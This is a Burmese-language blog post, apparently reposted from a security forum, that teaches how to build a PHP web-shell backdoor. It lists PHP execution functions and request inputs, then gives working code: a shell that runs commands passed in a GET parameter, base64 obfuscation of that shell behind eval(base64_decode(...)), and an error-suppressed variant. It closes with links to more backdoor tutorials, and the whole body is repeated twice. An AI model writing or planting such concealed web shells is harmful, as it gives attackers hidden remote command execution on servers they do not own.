PHP Backdoors အေျကာင္းေလးပါ ။ အျကီးျကီးေတာ့မဟုတ္ပါဘူး ။ သိသေလာက္ေလးျပန္ေရးေပးထားတာပါ ။
အမွားပါခဲ့ရင္လည္း ျကိဳတင္ျပီးေတာင္းပန္ပါရေစ ။ က်ေနာ္ PHP သိပ္မရလို ့ပါ ။ ဒီလိုဘဲလိုတာေလးေလာက္နားလည္ေအာင္ျကည့္ျကည့္ျပီး စမ္းခဲ့တာဆိုေတာ့ေလ ။ က်ေနာ္ေျပာတဲ့ထဲမွာ မွားေနတဲ့အေျကာင္းအရာေလးေတြမ်ားေတြ ့ခဲ့ရင္ေတာ့ အားမနာဘဲ ၀င္ေရာက္ေထာက္ျပေပးဖို ့ ပထမဆံုးေတာင္းဆိုလို္က္ပါတယ္ ညီအစ္ကိုတို ့ခမ်ား ။
ဒါဆိုစလို္က္ရေအာင္
က်ေနာ္တို ့ Backdoor တစ္ခုအတြက္ အရင္ဆံုး ဘယ္ PHP Function ေတြလိုအပ္မလဲ?
ေအာက္မွာျကည့္ျကည့္ပါ ။
- System(); // External Program တစ္ခုကို execute လုပ္ဖို ့အတြက္ပါ ။
- Exec(); // ဒါလည္း အတူတူပါဘဲ ။
- Fopen(); // ဒါကေတာ့ System မွာ file တစ္ခုကိုဖြင့္ဖို ့အတြက္ပါ ။
- Include(); // Includes a file to be executed.
- Eval(); // PHP Code ေတြကို execute လုပ္ဖို ့အတြက္ပါ ။ .
ဒီ function ေတြကိုသံုးျပီး input ကိုဖမ္းဖို ့က်ေတာ့ ေအာက္က code ေတြတခ်က္ျကည့္ပါ ။
- $_GET['var']; // Receives input like: file.php?var=command
- $_POST['var']; // Receives input via the POST-parameter. (LiveHTTPHeaders can be used).
- $_COOKIE['var']; // Receives input via browser-cookies.
ေနာက္တစ္ဆင့္အေနနဲ ့ေတာ့ က်ေနာ္တို ့ backdoor ကို encode လုပ္မယ္ ။
encode လုပ္ဖို ့ နည္းေတြအမ်ားျကီးရွိပါတယ္ ။ Shell code လိုမ်ိဳး encode လုပ္မလား ။
base64 encode လုပ္မလား ။ ျကိုက္သလိုလုပ္လို ့ေတာ့ရပါတယ္ ။
Base64 နဲ ့ဘဲ encode လုပ္မယ္ဆိုပါေတာ့ ။
system() + $_GET[] + base64_encode()
ေအာက္က code ကို encode လုပ္ခ်င္တယ္ဆိုပါစို ့
<?php system($_GET['s3cr3t']); ?>
ဒီေအာက္ကလိုပံုစံမ်ိဳးနဲ ့လုပ္ေပးရပါမယ္ ။
<?php
$var = "system(\$_GET['s3cr3t']);"; // $ needs to be escaped.
echo base64_encode($var);
?>
ဒီလို encode လုပ္ထားတဲ့ code ကိုအလုပ္လုပ္ဖို ့အတြက္ က်ေနာ္တို ့ decode ျပန္လုပ္ေပးရပါမယ္ ။
<?php
eval(base64_decode("c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7"));
?>
ေနာက္တစ္ခုသိထားရမွာေလး တစ္ခုကေတာ့ တခါတေလ system() ကိုသံုးတဲ့အခါမွာ error တက္လာတတ္ပါတယ္ ။
ဒါေျကာင့္ က်ေနာ္တို ့ @ ဆိုတဲ့အရာေလးကိုထည့္သံုးေပးရမယ္ ။
ဒီလိုဆို ေအာက္က code လိုမ်ိဳးျဖစ္သြားမယ္ ။
<?php @system($_GET['server']); ?>
ဒီေလာက္ဆို နားလည္ျကမယ္လို ့ထင္ပါတယ္ ။ ေနာက္ျပီး system() တို ့ fopen() တို ့ကို implement လုပ္ျပီးတဲ့အခါမွာေတာ့
<pre></pre> tag ထဲမွာ output ထားျကပါတယ္ ။ သံုးရလြယ္ေအာင္လို ့ပါ
Backdoor သံုးပံုသံုးနည္းေလးေတြ ကိုကရင္မေရးထားတာ ရွိပါတယ္ ျကည့္ျကည့္လိုက္ပါ ။ ပိုနားလည္သြားပါလိမ့္မယ္ ။
ေနာက္ပိုင္းအခ်ိန္ရရင္ က်ေနာ္ထပ္ရွာျပီး ေရးေပးပါမယ္ ။
Backdoor tutorial by PHP_Killer
http://www.mmsecurity.net/forum/showthread.php?tid=1251
Backdoor Tutorial by Zin Aung
http://www.mmsecurity.net/forum/showthread.php?tid=336
Greetz: 133720 : maXe:
Thanks
rEvolt!
အမွားပါခဲ့ရင္လည္း ျကိဳတင္ျပီးေတာင္းပန္ပါရေစ ။ က်ေနာ္ PHP သိပ္မရလို ့ပါ ။ ဒီလိုဘဲလိုတာေလးေလာက္နားလည္ေအာင္ျကည့္ျကည့္ျပီး စမ္းခဲ့တာဆိုေတာ့ေလ ။ က်ေနာ္ေျပာတဲ့ထဲမွာ မွားေနတဲ့အေျကာင္းအရာေလးေတြမ်ားေတြ ့ခဲ့ရင္ေတာ့ အားမနာဘဲ ၀င္ေရာက္ေထာက္ျပေပးဖို ့ ပထမဆံုးေတာင္းဆိုလို္က္ပါတယ္ ညီအစ္ကိုတို ့ခမ်ား ။
ဒါဆိုစလို္က္ရေအာင္
က်ေနာ္တို ့ Backdoor တစ္ခုအတြက္ အရင္ဆံုး ဘယ္ PHP Function ေတြလိုအပ္မလဲ?
ေအာက္မွာျကည့္ျကည့္ပါ ။
- System(); // External Program တစ္ခုကို execute လုပ္ဖို ့အတြက္ပါ ။
- Exec(); // ဒါလည္း အတူတူပါဘဲ ။
- Fopen(); // ဒါကေတာ့ System မွာ file တစ္ခုကိုဖြင့္ဖို ့အတြက္ပါ ။
- Include(); // Includes a file to be executed.
- Eval(); // PHP Code ေတြကို execute လုပ္ဖို ့အတြက္ပါ ။ .
ဒီ function ေတြကိုသံုးျပီး input ကိုဖမ္းဖို ့က်ေတာ့ ေအာက္က code ေတြတခ်က္ျကည့္ပါ ။
- $_GET['var']; // Receives input like: file.php?var=command
- $_POST['var']; // Receives input via the POST-parameter. (LiveHTTPHeaders can be used).
- $_COOKIE['var']; // Receives input via browser-cookies.
ေနာက္တစ္ဆင့္အေနနဲ ့ေတာ့ က်ေနာ္တို ့ backdoor ကို encode လုပ္မယ္ ။
encode လုပ္ဖို ့ နည္းေတြအမ်ားျကီးရွိပါတယ္ ။ Shell code လိုမ်ိဳး encode လုပ္မလား ။
base64 encode လုပ္မလား ။ ျကိုက္သလိုလုပ္လို ့ေတာ့ရပါတယ္ ။
Base64 နဲ ့ဘဲ encode လုပ္မယ္ဆိုပါေတာ့ ။
system() + $_GET[] + base64_encode()
ေအာက္က code ကို encode လုပ္ခ်င္တယ္ဆိုပါစို ့
<?php system($_GET['s3cr3t']); ?>
ဒီေအာက္ကလိုပံုစံမ်ိဳးနဲ ့လုပ္ေပးရပါမယ္ ။
<?php
$var = "system(\$_GET['s3cr3t']);"; // $ needs to be escaped.
echo base64_encode($var);
?>
ဒီလို encode လုပ္ထားတဲ့ code ကိုအလုပ္လုပ္ဖို ့အတြက္ က်ေနာ္တို ့ decode ျပန္လုပ္ေပးရပါမယ္ ။
<?php
eval(base64_decode("c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7"));
?>
ေနာက္တစ္ခုသိထားရမွာေလး တစ္ခုကေတာ့ တခါတေလ system() ကိုသံုးတဲ့အခါမွာ error တက္လာတတ္ပါတယ္ ။
ဒါေျကာင့္ က်ေနာ္တို ့ @ ဆိုတဲ့အရာေလးကိုထည့္သံုးေပးရမယ္ ။
ဒီလိုဆို ေအာက္က code လိုမ်ိဳးျဖစ္သြားမယ္ ။
<?php @system($_GET['server']); ?>
ဒီေလာက္ဆို နားလည္ျကမယ္လို ့ထင္ပါတယ္ ။ ေနာက္ျပီး system() တို ့ fopen() တို ့ကို implement လုပ္ျပီးတဲ့အခါမွာေတာ့
<pre></pre> tag ထဲမွာ output ထားျကပါတယ္ ။ သံုးရလြယ္ေအာင္လို ့ပါ
Backdoor သံုးပံုသံုးနည္းေလးေတြ ကိုကရင္မေရးထားတာ ရွိပါတယ္ ျကည့္ျကည့္လိုက္ပါ ။ ပိုနားလည္သြားပါလိမ့္မယ္ ။
ေနာက္ပိုင္းအခ်ိန္ရရင္ က်ေနာ္ထပ္ရွာျပီး ေရးေပးပါမယ္ ။
Backdoor tutorial by PHP_Killer
http://www.mmsecurity.net/forum/showthread.php?tid=1251
Backdoor Tutorial by Zin Aung
http://www.mmsecurity.net/forum/showthread.php?tid=336
Greetz: 133720 : maXe:
Thanks
rEvolt!
No comments:
Post a Comment